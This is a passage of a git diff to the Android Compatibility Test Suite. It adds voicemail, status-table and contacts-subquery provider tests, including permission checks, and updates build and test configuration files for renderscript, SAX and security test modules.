+        assertEquals(1,cursor.getInt(DELETED_INDEX));
+        assertEquals(1,cursor.getInt(BACKED_UP_INDEX));
+        assertEquals(1,cursor.getInt(RESTORED_INDEX));
+        assertEquals(1,cursor.getInt(ARCHIVED_INDEX));
+        assertEquals(1,cursor.getInt(IS_OMTP_VOICEMAIL_INDEX));
+        cursor.close();
+
+        // Test: delete
+        mVoicemailProvider.delete(mVoicemailContentUri, Voicemails._ID + " = " + id, null);
+        cursor = mVoicemailProvider.query(mVoicemailContentUri, VOICEMAILS_PROJECTION,
+                Voicemails._ID + " = " + id, null, null, null);
+        assertEquals(0, cursor.getCount());
+        cursor.close();
+    }
+
+    public void testForeignUpdate_dirty() throws Exception {
+        if(!hasTelephony(getInstrumentation().getContext())){
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        // only the default dialer has WRITE_VOICEMAIL permission, which can modify voicemails of
+        // a foreign source package.
+        setTestAsDefaultDialer();
+        ContentValues values = new ContentValues();
+        values.put(Voicemails.SOURCE_PACKAGE, FOREIGN_SOURCE);
+
+        Uri uri = mVoicemailProvider.insert(Voicemails.buildSourceUri(FOREIGN_SOURCE), values);
+
+        mVoicemailProvider.update(uri, new ContentValues(), null, null);
+
+        try (Cursor cursor = mVoicemailProvider
+                .query(uri, new String[] {Voicemails.DIRTY}, null, null, null)) {
+            cursor.moveToFirst();
+            assertEquals(1, cursor.getInt(0));
+        }
+    }
+
+    public void testForeignUpdate_explicitNotDirty() throws Exception {
+        if(!hasTelephony(getInstrumentation().getContext())){
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        setTestAsDefaultDialer();
+        ContentValues values = new ContentValues();
+        values.put(Voicemails.SOURCE_PACKAGE, FOREIGN_SOURCE);
+
+        Uri uri = mVoicemailProvider.insert(Voicemails.buildSourceUri(FOREIGN_SOURCE), values);
+
+        ContentValues updateValues = new ContentValues();
+        updateValues.put(Voicemails.DIRTY,0);
+        mVoicemailProvider.update(uri, updateValues, null, null);
+
+        try (Cursor cursor = mVoicemailProvider
+                .query(uri, new String[] {Voicemails.DIRTY}, null, null, null)) {
+            cursor.moveToFirst();
+            assertEquals(0, cursor.getInt(0));
+        }
+    }
+
+    public void testForeignUpdate_null_dirty() throws Exception {
+        if(!hasTelephony(getInstrumentation().getContext())){
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        setTestAsDefaultDialer();
+        ContentValues values = new ContentValues();
+        values.put(Voicemails.SOURCE_PACKAGE, FOREIGN_SOURCE);
+
+        Uri uri = mVoicemailProvider.insert(Voicemails.buildSourceUri(FOREIGN_SOURCE), values);
+
+        ContentValues updateValues = new ContentValues();
+        updateValues.put(Voicemails.DIRTY, (Integer) null);
+        mVoicemailProvider.update(uri, updateValues, null, null);
+
+        try (Cursor cursor = mVoicemailProvider
+                .query(uri, new String[] {Voicemails.DIRTY}, null, null, null)) {
+            cursor.moveToFirst();
+            assertEquals(1, cursor.getInt(0));
+        }
+    }
+
+    public void testForeignUpdate_NotNormalized_normalized() throws Exception {
+        if(!hasTelephony(getInstrumentation().getContext())){
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        setTestAsDefaultDialer();
+        ContentValues values = new ContentValues();
+        values.put(Voicemails.SOURCE_PACKAGE, FOREIGN_SOURCE);
+
+        Uri uri = mVoicemailProvider.insert(Voicemails.buildSourceUri(FOREIGN_SOURCE), values);
+
+        ContentValues updateValues = new ContentValues();
+        updateValues.put(Voicemails.DIRTY, 2);
+        mVoicemailProvider.update(uri, updateValues, null, null);
+
+        try (Cursor cursor = mVoicemailProvider
+                .query(uri, new String[] {Voicemails.DIRTY}, null, null, null)) {
+            cursor.moveToFirst();
+            assertEquals(1, cursor.getInt(0));
+        }
+    }
+
+    public void testLocalUpdate_notDirty() throws Exception {
+
+        ContentValues values = new ContentValues();
+        values.put(Voicemails.DIRTY,1);
+
+        Uri uri = mVoicemailProvider.insert(Voicemails.buildSourceUri(mSourcePackageName), values);
+
+        mVoicemailProvider.update(uri, new ContentValues(), null, null);
+
+        try (Cursor cursor = mVoicemailProvider
+                .query(uri, new String[] {Voicemails.DIRTY}, null, null, null)) {
+            cursor.moveToFirst();
+            assertEquals(cursor.getInt(0), 0);
+        }
+    }
+
+
+    // Data column should be automatically generated during insert.
+    public void testInsert_doesNotUpdateDataColumn() throws Exception {
+
+        final String newFilePath = "my/new/file/path";
+        final ContentValues value = buildContentValuesForNewVoicemail();
+        value.put(Voicemails._DATA, newFilePath);
+        mVoicemailProvider.insert(mVoicemailContentUri, value);
+
+        assertDataNotEquals(newFilePath);
+    }
+
+    public void testDataColumnUpdate_throwsIllegalArgumentException() throws Exception {
+
+        final ContentValues value = buildContentValuesForNewVoicemail();
+        final Uri uri = mVoicemailProvider.insert(mVoicemailContentUri, value);
+
+        // Test: update
+        final String newFilePath = "another/file/path";
+
+        value.clear();
+        value.put(Voicemails._DATA, newFilePath);
+        try {
+            mVoicemailProvider.update(uri, value, null, null);
+            fail("IllegalArgumentException expected but not thrown.");
+        } catch (IllegalArgumentException e) {
+            // pass
+        }
+
+        assertDataNotEquals(newFilePath);
+    }
+
+    private void assertDataNotEquals(String newFilePath) throws RemoteException {
+        // Make sure data value is not actually updated.
+        final Cursor cursor = mVoicemailProvider.query(mVoicemailContentUri,
+                new String[]{Voicemails._DATA}, null, null, null);
+        cursor.moveToNext();
+        final String data = cursor.getString(0);
+        assertFalse(data.equals(newFilePath));
+    }
+
+    private ContentValues buildContentValuesForNewVoicemail() {
+        final String insertCallsNumber = "0123456789";
+        final long insertCallsDuration = 120;
+        final String insertSourceData = "internal_id";
+        final String insertMimeType = "audio/mp3";
+        final long insertDate = 1324478862000L;
+
+        ContentValues value = new ContentValues();
+        value.put(Voicemails.NUMBER, insertCallsNumber);
+        value.put(Voicemails.DATE, insertDate);
+        value.put(Voicemails.DURATION, insertCallsDuration);
+        // Source package is expected to be inserted by the provider, if not set.
+        value.put(Voicemails.SOURCE_DATA, insertSourceData);
+        value.put(Voicemails.MIME_TYPE, insertMimeType);
+        value.put(Voicemails.IS_READ, false);
+        value.put(Voicemails.HAS_CONTENT, true);
+
+        return value;
+    }
+
+    public void testStatusTable() throws Exception {
+        final String[] STATUS_PROJECTION = new String[] {
+                Status._ID, Status.SOURCE_PACKAGE, Status.CONFIGURATION_STATE,
+                Status.DATA_CHANNEL_STATE, Status.NOTIFICATION_CHANNEL_STATE,
+                Status.SETTINGS_URI, Status.VOICEMAIL_ACCESS_URI,
+                Status.QUOTA_OCCUPIED, Status.QUOTA_TOTAL};
+        final int ID_INDEX = 0;
+        final int SOURCE_PACKAGE_INDEX = 1;
+        final int CONFIGURATION_STATE_INDEX = 2;
+        final int DATA_CHANNEL_STATE_INDEX = 3;
+        final int NOTIFICATION_CHANNEL_STATE_INDEX = 4;
+        final int SETTINGS_URI_INDEX = 5;
+        final int VOICEMAIL_ACCESS_URI_INDEX = 6;
+        final int QUOTA_OCCUPIED_INDEX = 7;
+        final int QUOTA_TOTAL_INDEX = 8;
+
+        int insertConfigurationState = Status.CONFIGURATION_STATE_OK;
+        int insertDataChannelState = Status.DATA_CHANNEL_STATE_OK;
+        int insertNotificationChannelState = Status.NOTIFICATION_CHANNEL_STATE_OK;
+        String insertSettingsUri = "settings_uri";
+        String insertVoicemailAccessUri = "tel:901";
+        int quotaOccupied = 7;
+        int quotaTotal = 42;
+
+        int updateDataChannelState = Status.DATA_CHANNEL_STATE_NO_CONNECTION;
+        int updateNotificationChannelState = Status.NOTIFICATION_CHANNEL_STATE_MESSAGE_WAITING;
+        String updateSettingsUri = "settings_uri_2";
+        int updateQuotaOccupied = 1337;
+        int updateQuotaTotal = 2187;
+
+        // Test: insert
+        ContentValues value = new ContentValues();
+        value.put(Status.CONFIGURATION_STATE, insertConfigurationState);
+        value.put(Status.DATA_CHANNEL_STATE, insertDataChannelState);
+        value.put(Status.NOTIFICATION_CHANNEL_STATE, insertNotificationChannelState);
+        value.put(Status.SETTINGS_URI, insertSettingsUri);
+        value.put(Status.VOICEMAIL_ACCESS_URI, insertVoicemailAccessUri);
+        value.put(Status.QUOTA_OCCUPIED, quotaOccupied);
+        value.put(Status.QUOTA_TOTAL, quotaTotal);
+
+        Uri uri = mStatusProvider.insert(mStatusContentUri, value);
+        Cursor cursor = mStatusProvider.query(
+                mStatusContentUri, STATUS_PROJECTION, null, null, null, null);
+        assertTrue(cursor.moveToNext());
+        assertEquals(mSourcePackageName, cursor.getString(SOURCE_PACKAGE_INDEX));
+        assertEquals(insertConfigurationState, cursor.getInt(CONFIGURATION_STATE_INDEX));
+        assertEquals(insertDataChannelState, cursor.getInt(DATA_CHANNEL_STATE_INDEX));
+        assertEquals(insertNotificationChannelState,
+                cursor.getInt(NOTIFICATION_CHANNEL_STATE_INDEX));
+        assertEquals(insertSettingsUri, cursor.getString(SETTINGS_URI_INDEX));
+        assertEquals(insertVoicemailAccessUri, cursor.getString(VOICEMAIL_ACCESS_URI_INDEX));
+        assertEquals(quotaOccupied, cursor.getInt(QUOTA_OCCUPIED_INDEX));
+        assertEquals(quotaTotal, cursor.getInt(QUOTA_TOTAL_INDEX));
+        int id = cursor.getInt(ID_INDEX);
+        assertEquals(id, Integer.parseInt(uri.getLastPathSegment()));
+        cursor.close();
+
+        // Test: update
+        value.clear();
+        value.put(Status.DATA_CHANNEL_STATE, updateDataChannelState);
+        value.put(Status.NOTIFICATION_CHANNEL_STATE, updateNotificationChannelState);
+        value.put(Status.SETTINGS_URI, updateSettingsUri);
+        value.put(Status.QUOTA_OCCUPIED, updateQuotaOccupied);
+        value.put(Status.QUOTA_TOTAL, updateQuotaTotal);
+
+        mStatusProvider.update(uri, value, null, null);
+        cursor = mStatusProvider.query(mStatusContentUri, STATUS_PROJECTION,
+                Voicemails._ID + " = " + id, null, null, null);
+        assertEquals(1, cursor.getCount());
+        assertTrue(cursor.moveToNext());
+        assertEquals(mSourcePackageName, cursor.getString(SOURCE_PACKAGE_INDEX));
+        assertEquals(updateDataChannelState, cursor.getInt(DATA_CHANNEL_STATE_INDEX));
+        assertEquals(updateNotificationChannelState,
+                cursor.getInt(NOTIFICATION_CHANNEL_STATE_INDEX));
+        assertEquals(updateSettingsUri, cursor.getString(SETTINGS_URI_INDEX));
+        assertEquals(updateQuotaOccupied, cursor.getInt(QUOTA_OCCUPIED_INDEX));
+        assertEquals(updateQuotaTotal, cursor.getInt(QUOTA_TOTAL_INDEX));
+        cursor.close();
+
+        // Test: delete
+        mStatusProvider.delete(mStatusContentUri, Voicemails._ID + " = " + id, null);
+        cursor = mStatusProvider.query(mStatusContentUri, STATUS_PROJECTION,
+                Voicemails._ID + " = " + id, null, null, null);
+        assertEquals(0, cursor.getCount());
+        cursor.close();
+    }
+
+    public void testVoicemailTablePermissions() throws Exception {
+        ContentValues value = new ContentValues();
+        value.put(Voicemails.NUMBER, "0123456789");
+        value.put(Voicemails.SOURCE_PACKAGE, "some.other.package");
+        try {
+            mVoicemailProvider.insert(mVoicemailContentUri, value);
+            fail("Expected SecurityException. None thrown.");
+        } catch (SecurityException e) {
+            // Expected result.
+        }
+    }
+
+    public void testStatusTablePermissions() throws Exception {
+        ContentValues value = new ContentValues();
+        value.put(Status.CONFIGURATION_STATE, Status.CONFIGURATION_STATE_OK);
+        value.put(Status.SOURCE_PACKAGE, "some.other.package");
+        try {
+            mStatusProvider.insert(mStatusContentUri, value);
+            fail("Expected SecurityException. None thrown.");
+        } catch (SecurityException e) {
+            // Expected result.
+        }
+    }
+
+    private static boolean hasTelephony(Context context) {
+        final PackageManager packageManager = context.getPackageManager();
+        return packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY) &&
+                packageManager.hasSystemFeature(PackageManager.FEATURE_CONNECTION_SERVICE);
+    }
+
+    private void setTestAsDefaultDialer() throws Exception{
+        assertTrue(mPreviousDefaultDialer == null);
+        mPreviousDefaultDialer = getDefaultDialer(getInstrumentation());
+        setDefaultDialer(getInstrumentation(),PACKAGE);
+    }
+
+    private static String setDefaultDialer(Instrumentation instrumentation, String packageName)
+            throws Exception {
+        return executeShellCommand(instrumentation, COMMAND_SET_DEFAULT_DIALER + packageName);
+    }
+
+    private static String getDefaultDialer(Instrumentation instrumentation) throws Exception {
+        return executeShellCommand(instrumentation, COMMAND_GET_DEFAULT_DIALER);
+    }
+
+    /**
+     * Executes the given shell command and returns the output in a string. Note that even if we
+     * don't care about the output, we have to read the stream completely to make the command
+     * execute.
+     */
+    private static String executeShellCommand(Instrumentation instrumentation,
+            String command) throws Exception {
+        final ParcelFileDescriptor parcelFileDescriptor =
+                instrumentation.getUiAutomation().executeShellCommand(command);
+        BufferedReader bufferedReader = null;
+        try (InputStream in = new FileInputStream(parcelFileDescriptor.getFileDescriptor())) {
+            bufferedReader = new BufferedReader(new InputStreamReader(in, StandardCharsets.UTF_8));
+            String string = null;
+            StringBuilder out = new StringBuilder();
+            while ((string = bufferedReader.readLine()) != null) {
+                out.append(string);
+            }
+            return out.toString();
+        } finally {
+            if (bufferedReader != null) {
+                closeQuietly(bufferedReader);
+            }
+            closeQuietly(parcelFileDescriptor);
+        }
+    }
+
+    private static void closeQuietly(AutoCloseable closeable) {
+        if (closeable != null) {
+            try {
+                closeable.close();
+            } catch (RuntimeException rethrown) {
+                throw rethrown;
+            } catch (Exception ignored) {
+                // Quietly.
+            }
+        }
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/account/ContactsContract_Subquery.java b/tests/tests/provider/src/android/provider/cts/contacts/account/ContactsContract_Subquery.java
new file mode 100644
index 0000000..ab15977
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/account/ContactsContract_Subquery.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts.account;
+
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.database.Cursor;
+import android.provider.ContactsContract;
+import android.provider.ContactsContract.Contacts;
+import android.provider.ContactsContract.RawContacts;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestRawContact;
+import android.test.AndroidTestCase;
+
+public class ContactsContract_Subquery extends AndroidTestCase {
+    private ContentResolver mResolver;
+    private ContactsContract_TestDataBuilder mBuilder;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mResolver = getContext().getContentResolver();
+        ContentProviderClient provider =
+                mResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
+        mBuilder = new ContactsContract_TestDataBuilder(provider);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        mBuilder.cleanup();
+    }
+
+    public void testProviderStatus_addedContacts() throws Exception {
+        TestRawContact rawContact1 = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_account")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+
+        // Get the total row count.
+        final int allCount;
+        try (Cursor cursor = mResolver.query(Contacts.CONTENT_URI, null, null, null, null)) {
+            allCount = cursor.getCount();
+        }
+
+        // Make sure CP2 gives the same result with an always-true subquery.
+        try (Cursor cursor = mResolver.query(Contacts.CONTENT_URI, null,
+                "exists(select 1)", null, null)) {
+            assertEquals(allCount, cursor.getCount());
+        }
+
+        // Make sure CP2 returns no rows with an always-false subquery.
+        try (Cursor cursor = mResolver.query(Contacts.CONTENT_URI, null,
+                "not exists(select 1)", null, null)) {
+            assertEquals(0, cursor.getCount());
+        }
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/account/StaticAccountAuthenticator.java b/tests/tests/provider/src/android/provider/cts/contacts/account/StaticAccountAuthenticator.java
index 01db2a1..705a535 100644
--- a/tests/tests/provider/src/android/provider/cts/contacts/account/StaticAccountAuthenticator.java
+++ b/tests/tests/provider/src/android/provider/cts/contacts/account/StaticAccountAuthenticator.java
@@ -25,9 +25,7 @@
 import android.os.Bundle;
 
 /**
- * Account authenticator with 1 hard coded account.
- *
- * Also adds the account to the account manager on instantiation.
+ * Account authenticator with for CTS.
  */
 public class StaticAccountAuthenticator extends AbstractAccountAuthenticator {
 
diff --git a/tests/tests/renderscript/Android.mk b/tests/tests/renderscript/Android.mk
index 333ec1f..00e751a 100644
--- a/tests/tests/renderscript/Android.mk
+++ b/tests/tests/renderscript/Android.mk
@@ -28,10 +28,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
-    xmp_toolkit \
-    legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner xmp_toolkit
 LOCAL_JNI_SHARED_LIBRARIES := libcoremathtestcpp_jni
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src) $(call all-renderscript-files-under, src)
diff --git a/tests/tests/renderscript/AndroidTest.xml b/tests/tests/renderscript/AndroidTest.xml
index 2e69534..979b756 100644
--- a/tests/tests/renderscript/AndroidTest.xml
+++ b/tests/tests/renderscript/AndroidTest.xml
@@ -14,12 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Configuration for Renderscript Tests">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="renderscript" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsRenderscriptTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.renderscript.cts" />
-        <option name="runtime-hint" value="9m35s" />
+        <option name="runtime-hint" value="8m15s" />
     </test>
 </configuration>
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/reduce.rs b/tests/tests/renderscript/src/android/renderscript/cts/reduce.rs
index d731561..d5f7099 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/reduce.rs
+++ b/tests/tests/renderscript/src/android/renderscript/cts/reduce.rs
@@ -67,17 +67,17 @@
   me.val = in;
   me.idx = x;
 
-  if (me.val < accum->min.val)
+  if (me.val <= accum->min.val)
     accum->min = me;
-  if (me.val > accum->max.val)
+  if (me.val >= accum->max.val)
     accum->max = me;
 }
 
 static void fMMCombiner(MinAndMax *accum,
                         const MinAndMax *val) {
-  if (val->min.val < accum->min.val)
+  if ((accum->min.idx < 0) || (val->min.val < accum->min.val))
     accum->min = val->min;
-  if (val->max.val > accum->max.val)
+  if ((accum->max.idx < 0) || (val->max.val > accum->max.val))
     accum->max = val->max;
 }
 
@@ -428,8 +428,32 @@
 /////////////////////////////////////////////////////////////////////////
 
 // Test out-of-range result.
+
+// When a result is ulong, it can take on values not representable on
+// the Java side, where there are no unsigned integral types and long
+// is the largest integral type -- i.e., all values in the range
+// (MAX_LONG, MAX_ULONG] are not representable in Java.  The reflected
+// result_*.get() methods throw an exception if the result value is
+// out of range.  The globals and reduction kernels below allow a test
+// case on the Java side to describe what kind of result we should
+// produce -- in particular, what to use for an in-range value and an
+// out-of-range value, and where (if anywhere) to put an out-of-range
+// value within the result (which might be scalar, vector, array of
+// scalar, or array of vector).
+
 // We don't care about the input at all.
 // We use these globals to configure the generation of the result.
+// A kernel puts 2*oorrBadResultHalf in the position (if any) of the result
+// given by oorrBadResult, and oorrGoodResult everywhere else.
+// The oorrBadPos encoding is as follows:
+// - For scalar result, 0 = scalar; anything else = nowhere
+// - For vector result, 0..length(vector)-1 = corresponding vector component
+//     (0 = x, 1 = y, 2 = z, 3 = w); anything else = nowhere
+// - For array of scalar result, 0..length(array)-1 = corresponding array element;
+//     anything else = nowhere
+// - For array of vector result, 0..length(vector)*length(array)-1 = corresponding
+//     vector component C of corresponding array element E; anything else = nowhere
+//     (encoding is C + length(vector)*E)
 ulong oorrGoodResult;     // the value of a good result
 ulong oorrBadResultHalf;  // half the value of a bad result
                           //   ("half" because Java can only set the global from long not from ulong)
diff --git a/tests/tests/renderscriptlegacy/AndroidTest.xml b/tests/tests/renderscriptlegacy/AndroidTest.xml
index 3523dfe..6550d5d 100644
--- a/tests/tests/renderscriptlegacy/AndroidTest.xml
+++ b/tests/tests/renderscriptlegacy/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Configuration for Renderscript legacy Tests">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="renderscript" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsRenderscriptLegacyTestCases.apk" />
     </target_preparer>
diff --git a/tests/tests/rsblas/Android.mk b/tests/tests/rsblas/Android.mk
index 293c481..700fba3 100644
--- a/tests/tests/rsblas/Android.mk
+++ b/tests/tests/rsblas/Android.mk
@@ -27,7 +27,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
 LOCAL_JNI_SHARED_LIBRARIES := libbnnmdata_jni
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src) $(call all-renderscript-files-under, src)
diff --git a/tests/tests/rsblas/AndroidTest.xml b/tests/tests/rsblas/AndroidTest.xml
index 340ca29..5f8164b 100644
--- a/tests/tests/rsblas/AndroidTest.xml
+++ b/tests/tests/rsblas/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS RS BLAS test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="renderscript" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsRsBlasTestCases.apk" />
     </target_preparer>
diff --git a/tests/tests/rscpp/Android.mk b/tests/tests/rscpp/Android.mk
index cdbf72c..bdcf840 100644
--- a/tests/tests/rscpp/Android.mk
+++ b/tests/tests/rscpp/Android.mk
@@ -28,7 +28,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
 LOCAL_JNI_SHARED_LIBRARIES := librscpptest_jni
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src) $(call all-renderscript-files-under, src)
diff --git a/tests/tests/rscpp/AndroidTest.xml b/tests/tests/rscpp/AndroidTest.xml
index 1e7c41f..9a9c6ba 100644
--- a/tests/tests/rscpp/AndroidTest.xml
+++ b/tests/tests/rscpp/AndroidTest.xml
@@ -14,13 +14,14 @@
      limitations under the License.
 -->
 <configuration description="Configuration for renderscript cpp Tests">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="renderscript" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsRsCppTestCases.apk" />
     </target_preparer>
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.rscpp.cts" />
-        <option name="runtime-hint" value="2m" />
+        <option name="runtime-hint" value="20m30s" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/sax/Android.mk b/tests/tests/sax/Android.mk
index 65d5be2..498aa40 100644
--- a/tests/tests/sax/Android.mk
+++ b/tests/tests/sax/Android.mk
@@ -21,7 +21,7 @@
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/sax/AndroidTest.xml b/tests/tests/sax/AndroidTest.xml
index 14ec1c3..aa3e8d1 100644
--- a/tests/tests/sax/AndroidTest.xml
+++ b/tests/tests/sax/AndroidTest.xml
@@ -14,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS SAX test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSaxTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.sax.cts" />
+        <option name="runtime-hint" value="8m" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/security/Android.mk b/tests/tests/security/Android.mk
index a0ed953..ddd78f1 100644
--- a/tests/tests/security/Android.mk
+++ b/tests/tests/security/Android.mk
@@ -22,11 +22,13 @@
 LOCAL_MULTILIB := both
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-test \
+    android-common \
     ctstestserver \
     ctstestrunner \
-    ctsdeviceutil \
     compatibility-device-util \
     guava \
+    platform-test-annotations \
     legacy-android-test
 
 LOCAL_JAVA_LIBRARIES := android.test.runner org.apache.http.legacy
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 7b87851..50bb771 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -24,8 +24,8 @@
     <uses-permission android:name="android.permission.INTERNET" />
     <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
     <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS" />
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.RECORD_AUDIO" />
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
 
     <application>
         <uses-library android:name="android.test.runner" />
@@ -42,6 +42,14 @@
 
         <service android:name="android.security.cts.activity.SecureRandomService"
                  android:process=":secureRandom"/>
+        <activity
+            android:name="android.security.cts.MotionEventTestActivity"
+            android:label="Test MotionEvent">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+            </intent-filter>
+        </activity>
     </application>
 
     <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/security/AndroidTest.xml b/tests/tests/security/AndroidTest.xml
index ab2e57a..2c47d89 100644
--- a/tests/tests/security/AndroidTest.xml
+++ b/tests/tests/security/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS security test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="security" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSecurityTestCases.apk" />
     </target_preparer>
@@ -24,4 +25,4 @@
         <!-- test-timeout unit is ms, value = 15 min -->
         <option name="test-timeout" value="900000" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/security/jni/Android.mk b/tests/tests/security/jni/Android.mk
index fc6f515..dd069fe 100644
--- a/tests/tests/security/jni/Android.mk
+++ b/tests/tests/security/jni/Android.mk
@@ -28,6 +28,7 @@
 		android_security_cts_LinuxRngTest.cpp \
 		android_security_cts_NativeCodeTest.cpp \
 		android_security_cts_SELinuxTest.cpp \
+		android_security_cts_SeccompTest.cpp \
 		android_security_cts_MMapExecutableTest.cpp \
 		android_security_cts_EncryptionTest.cpp \
 
diff --git a/tests/tests/security/jni/CtsSecurityJniOnLoad.cpp b/tests/tests/security/jni/CtsSecurityJniOnLoad.cpp
index 198baa00..835d1a6 100644
--- a/tests/tests/security/jni/CtsSecurityJniOnLoad.cpp
+++ b/tests/tests/security/jni/CtsSecurityJniOnLoad.cpp
@@ -22,6 +22,7 @@
 extern int register_android_security_cts_LinuxRngTest(JNIEnv*);
 extern int register_android_security_cts_NativeCodeTest(JNIEnv*);
 extern int register_android_security_cts_SELinuxTest(JNIEnv*);
+extern int register_android_security_cts_SeccompTest(JNIEnv*);
 extern int register_android_security_cts_MMapExecutableTest(JNIEnv* env);
 extern int register_android_security_cts_EncryptionTest(JNIEnv* env);
 
@@ -48,7 +49,11 @@
         return JNI_ERR;
     }
 
-    if (register_android_security_cts_KernelSettingsTest(env)) {
+    if (register_android_security_cts_SeccompTest(env)) {
+        return JNI_ERR;
+    }
+
+     if (register_android_security_cts_KernelSettingsTest(env)) {
         return JNI_ERR;
     }
 
diff --git a/tests/tests/security/jni/android_security_cts_NativeCodeTest.cpp b/tests/tests/security/jni/android_security_cts_NativeCodeTest.cpp
index 12c3517..e64c1b4 100644
--- a/tests/tests/security/jni/android_security_cts_NativeCodeTest.cpp
